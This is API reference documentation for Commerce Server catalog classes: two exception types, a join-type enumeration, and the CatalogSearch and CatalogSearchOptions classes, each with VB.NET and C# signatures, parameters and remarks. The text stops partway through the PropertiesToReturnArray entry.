This exception class is of the CatalogInitializationException type; it is thrown when there is a failure initializing the CatalogManager object.

This class inherits from the CatalogException class.

Public Instance Constructor

Constructor | Description
CatalogInitializationException Constructor | Creates a new instance of the CatalogInitialzationException class.
CatalogInitializationException Constructor(String) | Creates a new instance of the CatalogInitializationException class with the specified message.
CatalogInitializationException Constructor(String, Exception) | Creates a new instance of the CatalogInitializationException class with the specified connection string and inner exception.

Protected Instance Constructor

Constructor | Description
CatalogInitializationException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CatalogInitializationException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
ConnectionString | Gets the connection string that was used to initialize the Product Catalog System.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogInitializationException Constructor | Creates a new instance of the CatalogInitialzationException class.
CatalogInitializationException Constructor(String) | Creates a new instance of the CatalogInitializationException class with the specified message.
CatalogInitializationException Constructor(String, Exception) | Creates a new instance of the CatalogInitializationException class with the specified connection string and inner exception.

Protected Instance Constructor

Constructor | Description
CatalogInitializationException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CatalogInitializationException class with the specified serialization information and streaming context.


CatalogInitializationException Constructor (BCL)

Use this method to create a new instance of the CatalogInitializationException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CatalogInitializationException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CatalogInitializationException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CatalogInitializationException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Constructor (String) (BCL)

Use this method to create a new instance of the CatalogInitializationException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CatalogInitializationException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CatalogInitializationException object.
[C#]
message
A System.String containing the message to include in the CatalogInitializationException object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CatalogInitializationException class with the specified connection string and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal connectionString As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CatalogInitializationSystem.Exception(
  System.String connectionString,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
connectionString
A System.String that contains the connection string used to initialize the CatalogManager object. May be null.
inner
The inner System.Exception object.
[C#]
connectionString
A System.String that contains the connection string used to initialize the CatalogManager object. May be null.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CatalogInitializationException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Properties (BCL)

Public Instance Properties

Property | Description
ConnectionString | Gets the connection string that was used to initialize the Product Catalog System.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CatalogInitializationException.ConnectionString Property (BCL)

The ConnectionString property gets the connection string that was used to initialize the Product Catalog System.

Definition

[Visual Basic .NET]
Public ReadOnly Property ConnectionString As System.String
[C#]
public System.String ConnectionString {get;}

Property Value

A System.String that contains the connection string.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogJoinType Enumeration (BCL)

Enumeration used with the SetJoinTable method of the CatalogContext class to specify the type of join to use across the Product Catalog System.

Members

Member name | Description
InnerJoin | Indicates return only rows where the keys are equal.
NoJoin | Indicates do not perform a join. Using this field with the SetJoinTable method will disable an existing join established by a previous call to the SetJoinTable method.
OuterJoinFull | Indicates return all rows in both tables.
OuterJoinLeft | Indicates return all rows in the Product Catalog System and matching rows in the target table.
OuterJoinRight | Indicates return matching rows in the Product Catalog System and all rows in the target table.

Remarks

Inherits from System.Enum.

For more information, see SetJoinTable.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Class (BCL)

Exception thrown when the catalog is not found. This class inherits from the CatalogException class.

Public Instance Constructor

Constructor | Description
CatalogNotFoundException Constructor | Creates a new instance of the CatalogNotFoundException class.
CatalogNotFoundException Constructor(String) | Creates a new instance of the CatalogNotFoundException class with the specified catalog name.
CatalogNotFoundException Constructor(String, Exception) | Creates a new instance of the CatalogNotFoundException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CatalogNotFoundException(SerializationInfo, StreamingContext) | Creates a new instance of the CatalogNotFoundException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
CatalogName | Gets the catalog name.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogNotFoundException Constructor | Creates a new instance of the CatalogNotFoundException class.
CatalogNotFoundException Constructor(String) | Creates a new instance of the CatalogNotFoundException class with the specified catalog name.
CatalogNotFoundException Constructor(String, Exception) | Creates a new instance of the CatalogNotFoundException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CatalogNotFoundException(SerializationInfo, StreamingContext) | Creates a new instance of the CatalogNotFoundException class with the specified serialization information and streaming context.


CatalogNotFoundException Constructor (BCL)

Use this method to create a new instance of the CatalogNotFoundException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CatalogNotFoundException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CatalogNotFoundException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CatalogNotFoundException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Constructor (String) (BCL)

Use this constructor to create a new instance of the CatalogNotFoundException class with the specified catalog name.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogName As System.String _
)
[C#]
public CatalogNotFoundException(
  System.String catalogName
);

Parameters

[Visual Basic .NET]
catalogName
A System.String that contains the catalog name.
[C#]
catalogName
A System.String that contains the catalog name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Constructor (String, Exception) (BCL)

Use this constructor to create a new instance of the CatalogNotFoundException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CatalogNotFoundSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CatalogNotFoundException object.
inner
The inner System.Exception object.
[C#]
message
A System.String containing the message to include in the CatalogNotFoundException object.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CatalogNotFoundException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Properties (BCL)

Public Instance Properties

Property | Description
CatalogName | Gets the catalog name.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CatalogNotFoundException.CatalogName Property (BCL)

The CatalogName property gets the catalog name.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogName As System.String
[C#]
public System.String CatalogName {get;}

Property Value

A System.String that contains the name of the catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch Class (BCL)

Use this class to perform searches against product, variant, and category data in one or more catalogs.

Public Instance Constructor

Constructor | Description
CatalogSearch Constructor | Creates a new instance of the CatalogSearch class.
CatalogSearch Constructor(CatalogContext) | Creates a new instance of the CatalogSearch class using the given CatalogContext parameter.

Public Instance Methods

Method | Description
Search(Int32) | Performs a search with the current properties and returns a limited number of records.
Search | Performs a search with the current properties.

Public Instance Properties

Property | Description
CatalogContext | Contains the CatalogContext object used for the search.
CatalogNames | Contains the catalog names used for the search.
CatalogNamesCollection | Contains a ReadOnlyCollection object containing catalog names used for the search.
CategoryName | Contains the category name used for the search.
FreeTextSearchPhrase | Contains the free-text search phrase used for the search.
Language | Contains the language used for the search.
Recursive | Indicates whether the search will be recursive.
SearchOptions | Contains the search options used for the search.
SQLWhereClause | Contains the SQL Where clause used for the search.

Remarks

A CatalogSearch object can be used to perform different kinds of searches on different catalog entities such as:

  • Search across multiple catalogs
  • Search within a single catalog
  • Search within a category in a catalog

It can also be used to perform various types of searches such as:

  • Property search
  • Free-text search
  • Both property and free-text search

The different properties of the CatalogSearch object can be used to control the search domain, the type of search, language, sorting, paging, classTypes, and so forth.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogSearch Constructor | Creates a new instance of the CatalogSearch class.
CatalogSearch Constructor(CatalogContext) | Creates a new instance of the CatalogSearch class using the given CatalogContext parameter.


CatalogSearch Constructor (BCL)

Use this method to create a new instance of the CatalogSearch class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CatalogSearch(
);

Remarks

Constructs a CatalogSearch object using the CommerceContext.Current.CatalogSystem object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch Constructor (CatalogContext) (BCL)

Use this method to create a new instance of the CatalogSearch class using the specified CatalogContext object.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogContext As CatalogContext _
)
[C#]
public CatalogSearch(
  CatalogContext catalogContext
);

Parameters

[Visual Basic .NET]
catalogContext
The CatalogContext object for the search.
[C#]
catalogContext
The CatalogContext object for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch Methods (BCL)

Public Instance Methods

Method | Description
Search(Int32) | Performs a search with the current properties that returns a limited number of records.
Search | Performs a search with the current properties.


CatalogSearch.Search Method (BCL)

Use this method to perform a search with the current properties.

[Visual Basic .NET]
Overridable Public Function Search( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet Search(
);

Return Value

A DataSet containing a single DataTable with the search results.

Remarks

Throws an ArgumentNullException if the CatalogContext property is null.

Throws a CatalogException on failure.

If the CatalogNames property is not specified, then all catalogs in the catalog system are searched.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.Search (Int32) Method (BCL)

Use this constructor to perform a search with the current properties that returns a limited number of records.

Definition

[Visual Basic .NET]
Overridable Public Function Search( _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet Search(
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
totalRecords
The total number of records to return.
[C#]
totalRecords
The total number of records to return.

Return Value

A DataSet containing a single DataTable with the search results

Remarks

Throws an ArgumentNullException if the CatalogContext property is null.

Throws an ArgumentNullException if the CatalogNames property is null.

Throws an ArgumentNullException if both the SQLWhereClause and FreeTextSearchPhrase property are null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch Properties (BCL)

Public Instance Properties

Property | Description
CatalogContext | Contains the CatalogContext object used for the search.
CatalogNames | Contains the catalog names used for the search.
CatalogNamesCollection | Contains a ReadOnlyCollection object of catalog names used for the search.
CategoryName | Contains the category name used for the search.
FreeTextSearchPhrase | Contains the free-text search phrase used for the search.
Language | Contains the language used for the search.
Recursive | Indicates whether the search will be recursive.
SearchOptions | Contains the search options used for the search.
SQLWhereClause | Contains the SQL Where clause used for the search.


CatalogSearch.CatalogContext Property (BCL)

The CatalogContext property contains the CatalogContext object used for the search.

Definition

[Visual Basic .NET]
Public Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get; set;}

Property Value

The CatalogContext object used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.CatalogNames Property (BCL)

The CatalogNames property contains the catalog names used for the search.

Definition

[Visual Basic .NET]
Public Property CatalogNames As System.String
[C#]
public System.String CatalogNames {get; set;}

Property Value

A System.String object containing a comma-delimited list of the catalog names used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.CatalogNamesCollection Property (BCL)

The CatalogNamesCollection property contains a ReadOnlyCollection of catalog names used for the search.

Definition

[Visual Basic .NET]
Public Property CatalogNamesCollection As ReadOnlyStringCollection
[C#]
public ReadOnlyStringCollection CatalogNamesCollection {get; set;}

Property Value

A ReadOnlyStringCollection of catalog names used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.CategoryName Property (BCL)

The CategoryName property contains the category name used for the search.

Definition

[Visual Basic .NET]
Public Property CategoryName As System.String
[C#]
public System.String CategoryName {get; set;}

Property Value

A System.String that contains the category name used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.FreeTextSearchPhrase Property (BCL)

The FreeTextSearchPhrase property contains the free-text search phrase used for the search.

Definition

[Visual Basic .NET]
Public Property FreeTextSearchPhrase As System.String
[C#]
public System.String FreeTextSearchPhrase {get; set;}

Property Value

A System.String that contains the free-text search phrase used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.Language Property (BCL)

The Language property contains the language used for the search.

Definition

[Visual Basic .NET]
Public Property Language As System.String
[C#]
public System.String Language {get; set;}

Property Value

A System.String that contains the language used for the search.

Remarks

If not specified for a single/multiple catalog search, this defaults to the CultureInfo.CurrentUICulture object. If not specified for a category search, this defaults to either the CultureInfo.CurrentUICulture object (if the catalog supports it) OR to the default language of the ProductCatalog object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.Recursive Property (BCL)

The Recursive property indicates whether the search will be recursive.

Definition

[Visual Basic .NET]
Public Property Recursive As System.Boolean
[C#]
public System.Boolean Recursive {get; set;}

Property Value

A System.Boolean that indicates whether the search will be recursive.

Remarks

This property only applies to a category search.

A value of True indicates that the search will be recursive.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.SearchOptions Property (BCL)

The SearchOptions property contains the search options used for the search.

Definition

[Visual Basic .NET]
Public Property SearchOptions As CatalogSearchOptions
[C#]
public CatalogSearchOptions SearchOptions {get; set;}

Property Value

A SearchOptions object that contains the search options.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.SQLWhereClause Property (BCL)

The SQLWhereClause property contains the SQL Where clause used for the search.

Definition

[Visual Basic .NET]
Public Property SQLWhereClause As System.String
[C#]
public System.String SQLWhereClause {get; set;}

Property Value

A System.String that contains the SQL Where clause used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions Class (BCL)

A CatalogSearchOptions object can be provided to catalog methods that perform a database search to specify which records to return, how to sort the result set, and so on. Note that not all methods respect all of the settings. When the site is run in Debug mode or Checked mode, a warning message will be logged to the active DebugContext object whenever a setting has been made that cannot be respected.

Public Instance Constructor

Constructor | Description
CatalogSearchOptions Constructor | Creates a new instance of the CatalogSearchOptions class.
CatalogSearchOptions Constructor(CatalogSearchOptions) | Creates a new instance of the CatalogSearchOptions class with the data in the searchOptions parameter.

Public Instance Methods

Method | Description
SetPaging(Int32, Int32) | Sets the StartingRecord and RecordsToRetrieve properties based on the supplied page number and page size.

Public Instance Properties

Property | Description
CacheKey | Gets a cache key string that can be used as a part of a cache key when caching query results.
ClassTypes | Gets or sets a CatalogClassType value that specifies the class type(s) to return from a query.
PropertiesToReturn | Gets or sets the comma-delimited list of property names that should be returned in a query result set.
PropertiesToReturnArray | Gets or sets the array of properties that should be returned in a query result set.
RecordsToRetrieve | Gets or sets the number of records to retrieve.
SortAscending | Gets or sets a Boolean value that specifies whether to sort in ascending or descending order.
SortProperty | Gets the sort property.
StartingRecord | Gets the starting record property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogSearchOptions Constructor | Creates a new instance of the CatalogSearchOptions class.
CatalogSearchOptions Constructor(CatalogSearchOptions) | Creates a new instance of the CatalogSearchOptions class with the data in the searchOptions parameter.


CatalogSearchOptions Constructor (BCL)

Use this method to create a new CatalogSearchOptions class with the default settings.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CatalogSearchOptions(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions Constructor (CatalogSearchOptions) (BCL)

Use this method to create a new instance of the CatalogSearchOptions class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal searchOptionsOriginal As CatalogSearchOptions _
)
[C#]
public Microsoft.CommerceServer.Runtime.Catalog.CatalogSearchOptions(
  CatalogSearchOptions searchOptionsOriginal
);

Parameters

[Visual Basic .NET]
searchOptionsOriginal
A CatalogSearchOptions object containing the parameters to be copied into the new CatalogSearchOptions object.
[C#]
searchOptionsOriginal
A CatalogSearchOptions object containing the parameters to be copied into the new CatalogSearchOptions object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions Methods (BCL)

Public Instance Methods

Method | Description
SetPaging(Int32, Int32) | Sets the StartingRecord and RecordsToRetrieve properties based on the supplied page number and page size.


CatalogSearchOptions.SetPaging (Int32, Int32) Method (BCL)

Use this method to set the StartingRecord and RecordsToRetrieve properties based on the supplied page number and page size.

Definition

[Visual Basic .NET]
Public Sub SetPaging( _
  ByVal pageNumber As System.Int32, _
  ByVal pageSize As System.Int32 _
)
[C#]
public void SetPaging(
  System.Int32 pageNumber,
  System.Int32 pageSize
);

Parameters

[Visual Basic .NET]
pageNumber
The page number. Must be greater than or equal to one.
pageSize
The page size. Must be greater than or equal to one.
[C#]
pageNumber
The page number. Must be greater than or equal to one.
pageSize
The page size. Must be greater than or equal to one.

Remarks

Throws an ArgumentOutOfRangeException if the supplied parameters are out of the valid range.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions Properties (BCL)

Public Instance Properties

Property |  | Description
CacheKey |  | Gets a cache key string that can be used as a part of a cache key when caching query results.
ClassTypes |  | Gets or sets a CatalogClassType value that specifies the class type(s) to return from a query.
PropertiesToReturn |  | Gets or sets the comma-delimited list of property names that should be returned in a query result set.
PropertiesToReturnArray |  | Gets or sets the array of properties that should be returned in a query result set.
RecordsToRetrieve | Gets or sets the number of records to retrieve.
SortAscending | Gets or sets a Boolean value that specifies whether to sort in ascending or descending order.
SortProperty | Gets the SortProperty property.
StartingRecord | Gets the StartingRecord property.


CatalogSearchOptions.CacheKey Property (BCL)

The CacheKey property is a string that gets a cache key string that can be used as a part of a cache key when caching query results.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CacheKey As System.String
[C#]
public virtual System.String CacheKey {get;}

Property Value

A CacheKey object that represents the current search options.

Remarks

Given the same settings for all properties, it is guaranteed that the cache key will be the same.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.ClassTypes Property (BCL)

The ClassTypes property gets or sets a CatalogClassType value that specifies the class type(s) to return from a query.

Definition

[Visual Basic .NET]
Public Property ClassTypes As CatalogClassTypes
[C#]
public CatalogClassTypes ClassTypes {get; set;}

Property Value

A CatalogClassType object that specifies the class type(s) to return from a query.

Remarks

Some methods have restrictions on the valid values for the ClassTypes property.

The default value is the empty set (0). Class types can be combined by using the logical Or operator. For example:

ClassTypes = CatalogClassType.ProductFamilyClass | CatalogClassType.ProductFamilyForVariantsClass

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.PropertiesToReturn Property (BCL)

The PropertiesToReturn property is a string that gets or sets property names that should be returned in a query result set.

Definition

[Visual Basic .NET]
Public Property PropertiesToReturn As System.String
[C#]
public System.String PropertiesToReturn {get; set;}

Property Value

A String object containing a comma-delimited list of property names.

Remarks

The default value is null, indicating to return all properties.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.PropertiesToReturnArray Property (BCL)

The PropertiesToReturnArray property is a string that gets or sets the array of properties that should be returned in a query result set.

Definition

[Visual Basic .NET]
Public Property PropertiesToReturnArray As System.String[]
[C#]
public System.String[] PropertiesToReturnArray {get; set;}

Property Value

A String array containing the properties to be returned.

Remarks

